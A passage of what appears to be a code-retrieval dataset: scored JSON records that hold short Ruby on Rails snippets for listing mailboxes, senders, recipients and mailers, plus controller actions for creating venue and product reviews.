mbox.messages[info.attr['UID']]\n\t\t\t\t\t\tmessage.envelope = info.attr['ENVELOPE']\n\t\t\t\t\t\tmessage.message_id = message.envelope.message_id\n\t\t\t\t\t\tinfo.attr['ENVELOPE'].message_id\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tself\n\t\tend", "title": "" }, { "docid": "41994680795d418a95d7b25dac762381", "score": "0.579169", "text": "def index\n @senders = Sender.all\n end", "title": "" }, { "docid": "59ce625e23c928ee9439e54b085f7a58", "score": "0.57548547", "text": "def inbox_list\n @challenge_messages = ChallengeMessage.find_inbox_by_user(current_user.id)\n end", "title": "" }, { "docid": "ec1bc91168adee7687b3752b05126b97", "score": "0.5715903", "text": "def get_attendees() \n\t\turl = request.referrer.split(\"/\")\t# Get the URL of where the request CAME from, not the url that was requested.\n redis_key = url[-1].to_s + \":\" + url[-2].to_s + \":emails\";\n\t\tattendees = $redis.lrange(redis_key,0,-1)\n\t\tlogger.error \"@@@@@@@@@@@@ ATTENDEES: \" + attendees.to_s\n\t\treturn attendees\n\tend", "title": "" }, { "docid": "f8ac8b56b2350ac857b6babed6186611", "score": "0.570503", "text": "def index\n @receivers = current_user.client.receivers.active\n end", "title": "" }, { "docid": "97a4cd351ab6433125b917f1d4f35319", "score": "0.56983644", "text": "def index\n @conversations = Mailbox.as_guest(current_user).paginate(page: params[:page], per_page: 10)\n end", "title": "" }, { "docid": "f11528dfba47f6c46a311eb02803ded5", "score": "0.56913126", "text": "def list_email_forwards(domain)\n get_request('listEmailForwards?'+get_url_parameters({'domain':domain})).body\n end", "title": "" }, { "docid": "8cf5705d3305a0b6370810ab30780d42", "score": "0.5690827", "text": "def index\n @mailers = Mailer.all\n end", "title": "" }, { "docid": "6a281ec5ffc88ce6d3cc49a5802d04f8", "score": "0.5682811", "text": "def index\n @tellers = Teller.all\n end", "title": "" }, { "docid": "4ecfbd7f5cd7feb3e06ed55dc120bb79", "score": "0.5679797", "text": "def list(refname, mailbox); end", "title": "" }, { "docid": "1777dbd197fbd17e9ffacd4b45926d28", "score": "0.56610763", "text": "def show\n @mailboxes = current_account.mailboxes\n inbox = current_account.mailboxes.find_by_name(\"INBOX\")\n @messages = inbox.messages.order(\"uid DESC\").limit(50) if inbox\n end", "title": "" }, { "docid": "08313a25aba25c05df92d0b9c89d29c4", "score": "0.5656947", "text": "def mailing_list\n my_adopters = blocks.joins(:user).where.not(user_id: nil).where('users.subscribed_to_neighborhood_updates = ?', true).map{ |x| x.user}\n my_followers = followers.where(subscribed_to_neighborhood_updates: true).to_a\n (my_adopters + my_followers).uniq\n end", "title": "" }, { "docid": "9885d130581d23226030040642153b60", "score": "0.5637923", "text": "def list\n perform_request(Entities::SenderAddress, 'newsletter/identity/list.json')\n end", "title": "" }, { "docid": "5dde1ae981674a014a74ff744afa345a", "score": "0.5616835", "text": "def originator_list \n @board_design_entries = BoardDesignEntry.get_user_entries(@logged_in_user)\n @other_entries = BoardDesignEntry.get_other_pending_entries(@logged_in_user)\n end", "title": "" }, { "docid": "39dedbbce58469c80daaf94d9b8aae5d", "score": "0.56163436", "text": "def index\n @usermailers = Usermailer.all\n end", "title": "" }, { "docid": "8688d03c37ba17ba4d63d7bfe1f3f2cc", "score": "0.5583038", "text": "def lists\n\n @app = MailfunnelsUtil.get_app\n @lists = EmailList.where(app_id: @app.id)\n\n end", "title": "" }, { "docid": "d1f2190ec2348fb8af01dcd1626fa1f7", "score": "0.5557603", "text": "def attendees\n # Attendee.find(rdb[:attendee_ids])\n Attendee.find_all_by_id(rdb[:attendee_ids].smembers)\n end", "title": "" }, { "docid": "7843558e7a658285ded641a31cb29073", "score": "0.55446273", "text": "def index\n @my_mailers = MyMailer.get_mailers\n end", "title": "" }, { "docid": "f7731ef9048739704e2b5adab06fae1e", "score": "0.553851", "text": "def list_mailboxes\n log 'loading mailboxes...'\n @mailboxes = (@imap.list(\"\", \"*\") || []).select {|struct| struct.attr.none? {|a| a == :Noselect}}. map {|struct| struct.name}.uniq\n log \"Loaded mailboxes: #{@mailboxes.inspect}\"\n end", "title": "" }, { "docid": "9e054188840a96622d600d9499632a6e", "score": "0.55372936", "text": "def index\n @event_receivers = current_user.event_receivers\n end", "title": "" }, { "docid": "cb3d11f0dc85c0a438678b125baab0e4", "score": "0.5532397", "text": "def show\n @email = Email.find(params[:id])\n @senders = EmailSender.where(id: @email.sender_ids)\n end", "title": "" }, { "docid": "0f410627a62f0c8e382e9922dc5f9d55", "score": "0.55315334", "text": "def delete_inbox_forwarders(opts = {})\n delete_inbox_forwarders_with_http_info(opts)\n nil\n end", "title": "" }, { "docid": "8672e14018cf4ae33aa2b3a6d90a7dfe", "score": "0.55305886", "text": "def find_friends\n PageMailer.find_friends\n end", "title": "" }, { "docid": "8c5a40a9fc552e969245394e280314b8", "score": "0.5529725", "text": "def mailing_list\n self.pledges.collect(&:user).collect(&:email)\n end", "title": "" }, { "docid": "d054e47768ac86eb628b30c5d817f54e", "score": "0.5529544", "text": "def get_senders\n @gateway.request(\"/get/senders.php\")\n end", "title": "" }, { "docid": "1174fc1cbb96b75a03527b2b8dc91dd8", "score": "0.5512436", "text": "def index\n @recipient_lists = RecipientList.all.order(:name).page(params[:page])\n end", "title": "" }, { "docid": "1174fc1cbb96b75a03527b2b8dc91dd8", "score": "0.5512436", "text": "def index\n @recipient_lists = RecipientList.all.order(:name).page(params[:page])\n end", "title": "" }, { "docid": "b9080d3237cb5f7662bdbd4cb58a02cc", "score": "0.5511632", "text": "def list_all_folders\n\n begin\n list = imap.list('*', '*')\n rescue Net::IMAP::NoResponseError => e\n # No response, what ever\n rescue Net::IMAP::ByeResponseError => e\n # Bye response, what ever\n rescue => e\n puts \"[#{Time.now}] ! Error: #{e}, retrying.\"\n imap_reconnect\n retry\n end\n\n list\n end", "title": "" }, { "docid": "27137bd64275b035a46ff6357c61bd12", "score": "0.5484728", "text": "def delegates_get_next_forgers limit = 10\n params = { :limit => limit }\n forgers = @client.query_get \"delegates/getNextForgers\", params\n end", "title": "" }, { "docid": "d57ed3c09388981d3b71e9de8698b76d", "score": "0.5466259", "text": "def reply_all()\n return MicrosoftGraph::Me::MailFolders::Item::ChildFolders::Item::Messages::Item::ReplyAll::ReplyAllRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "703f5eecd29d393044ad04400738be81", "score": "0.5465178", "text": "def list_friends\n Friendship.where(recipient: self)\n end", "title": "" }, { "docid": "9d739b584f4b63bd6d07261fe4fc638c", "score": "0.5464617", "text": "def index\n @guild_invitations = GuildInvitation.all\n end", "title": "" }, { "docid": "bb478f186c5a76ba77aa3eca3d3bb9e2", "score": "0.54605806", "text": "def index\n @mailbox_messages = MailboxMessage.all\n end", "title": "" }, { "docid": "a59d898d4cf24a286f4b8977c8bdf62f", "score": "0.5455137", "text": "def index\n @mail_getters = MailGetter.all\n end", "title": "" }, { "docid": "9ab5b34f08e6b9b4b99545fc9088c6dd", "score": "0.5447104", "text": "def index\n # @recipient_groups = RecipientGroup.all\n @recipient_groups = current_user.recipient_groups.paginate(page: params[:page], per_page: 5)\n end", "title": "" }, { "docid": "ac9be51fa95e8fd3617a7f4eb1ce364c", "score": "0.5434897", "text": "def index\n @invitations = current_host.invitations\n end", "title": "" }, { "docid": "30614341944d77900f492d74a934c37b", "score": "0.5433429", "text": "def friend_list\n friendships.map(&:email)\n end", "title": "" }, { "docid": "ea2c804098d11eaf652650b0b51cddf0", "score": "0.5423692", "text": "def index\n @conversations = @mailbox.inbox\n end", "title": "" }, { "docid": "5300fb01e38c80334d1aab6ad3d7dbe3", "score": "0.5420421", "text": "def fetch_friends\n\n @invitations = current_spree_user.invites.where(\"recipient_email LIKE ?\", \"%#{params[:term]}%\").group(\"recipient_email\").map(&:recipient_email)\n\n respond_to do |format|\n format.html\n format.json {\n render json: @invitations\n }\n end\n end", "title": "" }, { "docid": "0b305d1dc7173789a0590a6d403cd405", "score": "0.5419863", "text": "def index\n @inboxes_spams = Inboxes::Spam.all\n end", "title": "" }, { "docid": "a96b7bc1d71c463d3f8eae215ceac05b", "score": "0.5413151", "text": "def index\n @admin_message_recipients = Admin::MessageRecipient.all\n end", "title": "" }, { "docid": "668d313cdd8f0e312e9644fcb73922ee", "score": "0.5412108", "text": "def mailboxes\n self.connect do |connection|\n begin\n connection.xlist(directory, '*')\n rescue\n connection.list(directory, '*')\n end\n end\n end", "title": "" }, { "docid": "866a0653900ca5daade538447de3657e", "score": "0.54054517", "text": "def index\n @responders = Responder.all\n end", "title": "" }, { "docid": "0ba7f53b4b64663955af9a59a10e78c0", "score": "0.5388236", "text": "def index\n @messageees = Messageee.all\n end", "title": "" }, { "docid": "67c83ec93d985d7057b8f650b17ef702", "score": "0.5380593", "text": "def list(options={})\n Mailgun.submit(:get, mailbox_url, options)[\"items\"]\n end", "title": "" }, { "docid": "9ab033b867c74c0fa26c1a6e4bd11f07", "score": "0.53784966", "text": "def inbox\n # Author\n authorize! :view_inbox, MailBox\n\n @mails = MailBox.get_current_inbox\n end", "title": "" }, { "docid": "57e0d71a123eb2fb13bbd2b8c1de96c0", "score": "0.53755647", "text": "def index\n @message_blockers = MessageBlocker.all\n end", "title": "" }, { "docid": "206ebf9333f3bcd987a20fda2ed4a244", "score": "0.53716034", "text": "def index\n @immonet_mails = ImmonetMail.all\n end", "title": "" }, { "docid": "eb36ac0f3f23935aeaf0531e47457dfd", "score": "0.5371242", "text": "def index\n @recipient_lists = RecipientList.where(user: current_user).available\n end", "title": "" }, { "docid": "a20cc9409cb7c717dea0a61a7636c9c7", "score": "0.5359288", "text": "def index\n @conversations = @mailbox.inbox\n @mailbox_type = \"inbox\"\n end", "title": "" }, { "docid": "9224ec8b7391fbd437c26c31b8ed169e", "score": "0.53569955", "text": "def index\n @message_recipient_users = MessageRecipientUser.all\n end", "title": "" }, { "docid": "fe8292f6766cba03c9d0c356762c5aac", "score": "0.53523463", "text": "def index\n @mailboxes = @domain.mailboxes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mailboxes }\n end\n end", "title": "" }, { "docid": "1bf1b0d0c389ed314bbdd6aeeb956ed1", "score": "0.5338807", "text": "def smtp_list_emails(limit = 0, offset = 0, from_date = '', to_date = '', sender = '', recipient = '')\n data = {\n limit: limit,\n offset: offset,\n from_date: from_date,\n to_date: to_date,\n sender: sender,\n recipient: recipient\n }\n send_request('/smtp/emails', 'GET', data)\n end", "title": "" }, { "docid": "9e5620f34ebe8603b36ec02fdbb1bce9", "score": "0.5331602", "text": "def index\n @mailbuilders = Mailbuilder.all\n end", "title": "" }, { "docid": "6db92521c27cead1059497b5adf95a57", "score": "0.533111", "text": "def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end", "title": "" }, { "docid": "4885c4f9244068f60f488fabea1ed74d", "score": "0.53283453", "text": "def index\n if !current_user \n redirect_to root_path\n flash[:notice] = \"Uh oh, you're not signed in!\"\n else\n @parties = Party.where(:host_id => current_user.id)\n @party = Party.all\n @att_parties = @party.each do |p|\n p.attendees.where(email: current_user.email)\n end\n end\n end", "title": "" }, { "docid": "743eb37fab891ffbd848b8a21714ae09", "score": "0.5325455", "text": "def recievers\n R.smembers(Message.receivers_for(self.id))\n end", "title": "" }, { "docid": "1ef70c4ad33a0ceeeac41ca05bc172a0", "score": "0.53223425", "text": "def index\n @messager_users = MessagerUser.all\n end", "title": "" }, { "docid": "db1ca30ceeb1074289c4c2b00ef1a97c", "score": "0.5315529", "text": "def get_attendees( params )\n LastFM.get( \"event.getAttendees\", params )\n end", "title": "" }, { "docid": "71818cef88a0b04a0621c7745714d49f", "score": "0.5311999", "text": "def mailboxes\n url = \"/mailboxes.json\"\n mailboxes = []\n begin\n items = Client.request_items(@auth, url, {})\n items.each do |item|\n mailboxes << Mailbox.new(item)\n end\n rescue StandardError => e\n puts \"List Mailbox Request failed: #{e.message}\"\n end\n mailboxes\n end", "title": "" }, { "docid": "0b0ea6e9beee885cb3009f7f0d5e0af3", "score": "0.53078693", "text": "def index\n @sprayers = Sprayer.all\n end", "title": "" }, { "docid": "6453ff49b9799415ad4f2c36c3529d21", "score": "0.5301356", "text": "def index\n\t\t@conversations = @mailbox.inbox.paginate(page: params[:page], per_page: 10)\n\tend", "title": "" }, { "docid": "0e6330d0a4dfde8935dbda9c8dcb30cd", "score": "0.5300767", "text": "def listings\n Listing.find_all_by_user_id(user_id)\n end", "title": "" }, { "docid": "53a6c9fb6091fe31dda3b8facfd23325", "score": "0.52996284", "text": "def index\n @request_receivers = RequestReceiver.all\n end", "title": "" }, { "docid": "4e695e5d3f5980125573be3e0667eb02", "score": "0.52994114", "text": "def index\n @receivers = Receiver.all\n end", "title": "" }, { "docid": "2aee78dfbb4b3b585520910fe6904709", "score": "0.52924615", "text": "def index\n @empire_mailings = EmpireMailing.all\n end", "title": "" }, { "docid": "2e3c04f97f4fa54aae36af2a03703ee6", "score": "0.5289888", "text": "def all_hangouts\n invitations.map do |i|\n i.hangout\n end + myhangouts\n end", "title": "" }, { "docid": "78df091ddef4f646d6201d299e501e37", "score": "0.5287433", "text": "def friends\n collection = []\n approved_friendships.each do |friendship|\n if friendship.sender_id == id\n collection << friendship.recipient\n else\n collection << friendship.sender\n end\n end\n collection\n end", "title": "" }, { "docid": "d63a68a9b604a069df1dc1fbcf41f5a8", "score": "0.52796173", "text": "def index\n @mailboxes = Mailbox.order(\"number\")\n end", "title": "" }, { "docid": "4007ae1b95013da838ed485e9c762826", "score": "0.52690285", "text": "def mailing_lists\n end", "title": "" }, { "docid": "bd8ffbcc3d5dda469244878ef5d7dbfc", "score": "0.5269023", "text": "def all\n expose Deliverable.all(@oauth_token, params[:membername].strip,\n params[:challenge_id].strip)\n end", "title": "" }, { "docid": "ac495e5ff469a9ab93909f0d6ea2517f", "score": "0.52625585", "text": "def index\n @notification_receivers = NotificationReceiver.all\n end", "title": "" }, { "docid": "f085a3c853a4d8e3d9144ccc706dc5ee", "score": "0.5260475", "text": "def agis_find_all_mailboxes(redis)\n redis.smembers(\"AGIS_MAILBOX_CLASS:\" + self.class.to_s)\n end", "title": "" }, { "docid": "3f2e56b1e3f634863b4c64393288d7b7", "score": "0.5255415", "text": "def index\n @senders = current_user.client.senders.active\n end", "title": "" }, { "docid": "5f800057e27975a81442f61b829a3737", "score": "0.5253863", "text": "def get_passengers\n erg = []\n self.passengers.all.each do |p|\n erg << p.user\n end\n erg\n end", "title": "" }, { "docid": "c0fe0c53669fedf44f305728d533590e", "score": "0.52462256", "text": "def index\n unless [:applicable, :included, :excluded].include?(@type)\n return redirect_to @recipient_list, alert: t('messages.not_found_recipient_list_type')\n end\n\n @attr_name = \"#{@type}_mail_users\".intern\n @mail_users = @recipient_list.__send__(@attr_name).order(:name)\n @mail_users = @mail_users.page(params[:page]) if params[:page] != 'all'\n end", "title": "" }, { "docid": "2eb8e397d4a55b6d583a580da7144ba7", "score": "0.5244348", "text": "def show\n @threads = EmailThread.search(@mailing_list.name)\n end", "title": "" }, { "docid": "9482aef779f01dda81bda7e7fec02270", "score": "0.5238869", "text": "def listings\n @items = current_user.items\n end", "title": "" }, { "docid": "a0dbbe452fe58cde67d7b4b9c6de69c4", "score": "0.52385193", "text": "def get_all_senders(accept)\r\n # Prepare query url.\r\n _path_url = '/sender'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'Accept' => accept\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n OAuth2.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| Response2001.from_hash(element) }\r\n end", "title": "" }, { "docid": "18f24d22a1e1aeeb0702742a3bfce550", "score": "0.52360314", "text": "def index\n @messages = current_user.inbox_messages\n end", "title": "" }, { "docid": "3ddd4e7a0030402c09c5fea6bc0c64d1", "score": "0.5233846", "text": "def index\n @messagestoadministrators = Messagestoadministrator.all\n end", "title": "" }, { "docid": "e5cfe3f4ee108df5e8b03f1bfc157e7c", "score": "0.52331275", "text": "def index\n @attendees = Attendee.all\n end", "title": "" }, { "docid": "9062fd1b25ebc100bd8ab8903e66dc84", "score": "0.5230945", "text": "def index\n @painel_mailings = Painel::Mailing.all\n end", "title": "" }, { "docid": "0b2aaa455fc641f3a25ac5a0cc41b6fd", "score": "0.52275324", "text": "def list(sender_id)\n remittances = Client.get(path(sender_id))\n remittances['remittance_ids'].map { |id| new(id) }\n end", "title": "" }, { "docid": "f686f6334938ad1d82e9513c3939eee3", "score": "0.5226633", "text": "def index\n @sendattaches = Sendattach.all\n end", "title": "" }, { "docid": "a77baedf9393c377789925ef2cf1e915", "score": "0.52219826", "text": "def all_mail_threads(**args)\n params = parameters(args) do\n required_params :folder\n optional_params :folder, :start, :limit\n end\n request(:get, 'mailbox/mailThreads', params)\n end", "title": "" }, { "docid": "d5becab989b589e0afc3a449fb1607a1", "score": "0.5221896", "text": "def mailboxes\n cmd = {\n \"cmd\" => \"listMailboxes\",\n \"token\" => @token\n }\n result = Hpricot.XML(@connection.post(@api_url,to_params(cmd)).body)\n # usually lists were keyed w/ a name field. Mailboxes just\n # weren't working for me so I'm going with ixMailbox value\n return list_process(result,\"mailbox\",\"ixMailbox\")\n end", "title": "" }, { "docid": "80922de0b5d138c54759becc7734937a", "score": "0.5220905", "text": "def responsables\n users\n end", "title": "" }, { "docid": "a9fd23932872eb860e924f4910bdea54", "score": "0.5219837", "text": "def index\n @afile_messagers = AfileMessager.all\n end", "title": "" }, { "docid": "65014f9e19f65fba98e3ecc7a50d42c7", "score": "0.5213603", "text": "def index\n redirect_to mailerlists_path\n #@mailertypes = Mailertype.all\n end", "title": "" }, { "docid": "84273e8bcfcd047410a4b0cd9b7f4313", "score": "0.520795", "text": "def inbox\n end", "title": "" }, { "docid": "c6d9ba7c8c45393c29b83da4b602ac02", "score": "0.5206582", "text": "def index\n # solicitudes de amistad que ha recivido el usuario actual\n @receivers = Notification.all.where(user_receive_id: current_user.id)\n\n @senders = Notification.all.where(user_send_id: current_user.id)\n end", "title": "" } ]
9f2ae10bacab1563f05bd075fd87f925
POST /venue_reviews POST /venue_reviews.xml
[ { "docid": "be80c5834d03ad907a43377237f120e7", "score": "0.71440285", "text": "def create\n @venue_review = @venue.venue_reviews.new(params[:venue_review])\n @venue_review.added_by = current_user.id\n respond_to do |format|\n if @venue.venue_reviews << @venue_review\n flash[:notice] = 'Thank you for your valuable review.'\n format.html { redirect_to(venue_path(@venue)) }\n format.xml { render :xml => @venue_review, :status => :created, :location => @venue_review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "8d3a846f10d8000e61235f9256c1e09c", "score": "0.7316928", "text": "def create\n \n @venue = Venue.find(params[:venue_id])\n #@venue = Venue.find_by_venue_id(params[:venue_id])\n @review = @venue.reviews.create(params[:review])\n #redirect_to venue_show_path(params[@venue.venue_id])\n @review.venue_id = params[:venue_id]\n #@review = @restroom.reviews.build(params[:review])\n #@review.save\n @review.user = current_user\n @review.venue = Venue.find(params[:venue_id])\n \n respond_to do |format|\n if @review.save\n format.html { redirect_to venue_show_path(params[@venue.id], :venue_id => @venue.venue_id ), :notice => 'Your review was successfully posted.'}\n format.xml { render :xml => @venue, :status => :created, :location => @venue }\n else\n format.html { redirect_to(@venue, :notice => \n 'Review could not be saved. Please fill in all fields')}\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58fcbe3c0679f4739becb8cc12097a6d", "score": "0.7110553", "text": "def new\n @venue_review = @venue.venue_reviews.new\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @venue_review }\n end\n end", "title": "" }, { "docid": "13d3ff97e2a5efe1513aaf8a286662e2", "score": "0.6483949", "text": "def index\n @venue_reviews = VenueReview.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venue_reviews }\n end\n end", "title": "" }, { "docid": "c56a613eb46aeba522873028a7fc8c7b", "score": "0.6426798", "text": "def create\n @visitor_review = VisitorReview.new(visitor_review_params)\n\n respond_to do |format|\n if @visitor_review.save\n format.html { redirect_to @visitor_review, notice: 'Visitor review was successfully created.' }\n format.json { render :show, status: :created, location: @visitor_review }\n else\n format.html { render :new }\n format.json { render json: @visitor_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9bcdb21befefeddad8c10272d09ea3c", "score": "0.6303799", "text": "def create\n\t\t@review = Review.new(params[:review])\n\t\t@review.establishment = Establishment.find(params[:establishment])\n\t\t@review.category = Category.find(params[:category])\n\t\t@review.clientele = Clientele.find(params[:clientele])\n\t\t@review.sound_level = SoundLevel.find(params[:sound_level])\n\t\t@review.hygiene = Hygiene.find(params[:hygiene])\n\t\t@review.rating = Rating.find(params[:rating])\n\n\t\trespond_to do |format|\n\t\t\tif @review.save\n\t\t\t\tformat.html { redirect_to(@review, :notice => 'Review was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @review, :status => :created, :location => @review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "53007dd13e07f13663500a6a7d2195c5", "score": "0.62819993", "text": "def create\n @event_review = EventReview.new(event_review_params)\n\n respond_to do |format|\n if @event_review.save\n format.html { redirect_to @event_review, notice: 'Event review was successfully created.' }\n format.json { render :show, status: :created, location: @event_review }\n else\n format.html { render :new }\n format.json { render json: @event_review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4576b8ab29005b356ac671ff5d594f5", "score": "0.62546384", "text": "def create_review(booking, options = {})\n post(\"bookings/#{booking}/reviews\", reviews: [options]).pop\n end", "title": "" }, { "docid": "7c9308f9dd542fed6a4e484e22661785", "score": "0.62390786", "text": "def create\n @review = @post.reviews.where(user_id: current_user.id).create(params[:review])\n respond_with @post, @review, location: post_path(@post, anchor: \"review_#{@review.id}\")\n end", "title": "" }, { "docid": "68494366f929164ae5be6ba0a3a87a6e", "score": "0.62361425", "text": "def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "68494366f929164ae5be6ba0a3a87a6e", "score": "0.62361425", "text": "def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "68494366f929164ae5be6ba0a3a87a6e", "score": "0.62361425", "text": "def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6d9f7f04719c591e8570166f58e0d64d", "score": "0.61816627", "text": "def create\n @review = Review.new(params[:review])\n @review.user = current_user\n\n respond_to do |format|\n if @review.save\n flash[:notice] = 'Review was successfully created.'\n format.html { redirect_to(@review) }\n format.xml { render :xml => @review, :status => :created, :location => @review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f4cd1ca525579f4af37bdcc8eb1c265", "score": "0.6172508", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f4cd1ca525579f4af37bdcc8eb1c265", "score": "0.6172508", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80718ea28722b7a702108e408a3f8884", "score": "0.6144291", "text": "def create\n @product = Product.find params[:product_id] \n @review = @product.reviews.create(review_params)\n if @review.save\n redirect_to :back\n end\n end", "title": "" }, { "docid": "85ed0140f118234007d9b7596431ee2d", "score": "0.6131481", "text": "def create\n @review = current_author.reviews.create(review_params)\n render json: @review, status: 201\n end", "title": "" }, { "docid": "802fbc771584aaea7174b612e7b276c8", "score": "0.6130514", "text": "def create\n @review = reviewable.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to reviewable_review_url(reviewable, @review), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "354f2593884428afce99919eaf4db7f9", "score": "0.611672", "text": "def create\n @review = current_user.reviews.build(review_params)\n \n if @review.save\n flash[:success] = 'レビューを投稿しました。'\n redirect_to root_url\n else\n @reviews = current_user.reviews.order(id: :desc).page(params[:page])\n flash.now[:danger] = 'レビューの投稿に失敗しました。'\n render '/reviews'\n end\n end", "title": "" }, { "docid": "07ab2ff0b32e94d1d083098ba6f40b84", "score": "0.6103689", "text": "def create\n @shop = Shop.find(params[:shop_id])\n @review = @shop.reviews.create(reviewer: params[:review][:reviewer], rate: params[:review][:rate], body: params[:review][:body])\n\n if @review.save\n puts \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n flash[:notice] = \"レビューの投稿が完了しました\"\n redirect_to shop_path(@shop)\n\n else\n redirect_to shop_path(@shop)\n flash[:notice] = \"レビューの投稿に失敗しました\"\n end\n\n\n end", "title": "" }, { "docid": "ce2cacf452a8e64fcd81a7b93c96ede3", "score": "0.60802746", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @review }\n else\n format.html { render action: 'new' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f745008c2d71ad08987c64f99781a9b3", "score": "0.6071409", "text": "def create\n @user_review = UserReview.new(params[:user_review])\n @user_review.rating = session[:rating]\n\n respond_to do |format|\n if @user_review.save\n flash[:notice] = 'UserReview was successfully created.'\n format.html { redirect_to(@user_review) }\n format.xml { render :xml => @user_review, :status => :created, :location => @user_review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "074ff5022d889511c2f36b7b04a365a1", "score": "0.60591894", "text": "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41b507da4eda63394af2d56548666e07", "score": "0.6024583", "text": "def create\n @review = @publication.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review.publication, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef6073f08b9a262ca512d46e08f55676", "score": "0.6013443", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: \"レビューが作成されました\" }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c58cbfa3773694ef8aaa4c659ef03f4e", "score": "0.6012762", "text": "def create\n @review = Review.new(review_params)\n if @review.save\n redirect_to reviews_path\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "6e33831d77c82b9ef671112aaa3efb38", "score": "0.60123634", "text": "def create\n @review = Review.new(review_params)\n current_user.reviews << @review\n respond_to do |format|\n if @review.save\n format.json { render :show, status: :created, location: @review }\n else\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "620586b92549532ff06fec9ef046cc91", "score": "0.5989438", "text": "def create\n review = course.reviews.new(review_params)\n \n if review.save\n render json: ReviewSerializer.new(review).serialized_json\n else\n render json: { error: review.errors.messages }, status: 422\n end\n end", "title": "" }, { "docid": "412b724cbcb11b53404b10baedb0d251", "score": "0.5957191", "text": "def create\n @review = Review.new(params[:review])\n\n if @review.save\n redirect_to contact_path, :notice => \"Uw waardering is geplaatst, hartelijk dank!\"\n else\n\t\t\tredirect_to contact_path, :notice => \"Uw waardering kan op dit moment niet geplaatst worden, probeer het later nog eens.\"\n end\n end", "title": "" }, { "docid": "f2897eb7cd4da49a12f6d29cbc3cca17", "score": "0.59408915", "text": "def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end", "title": "" }, { "docid": "48f751176211323215aedd7ac4f651db", "score": "0.59407663", "text": "def create\n @reviews_and_rating = ReviewsAndRating.new(reviews_and_rating_params)\n\n respond_to do |format|\n if @reviews_and_rating.save\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully created.' }\n format.json { render :show, status: :created, location: @reviews_and_rating }\n else\n format.html { render :new }\n format.json { render json: 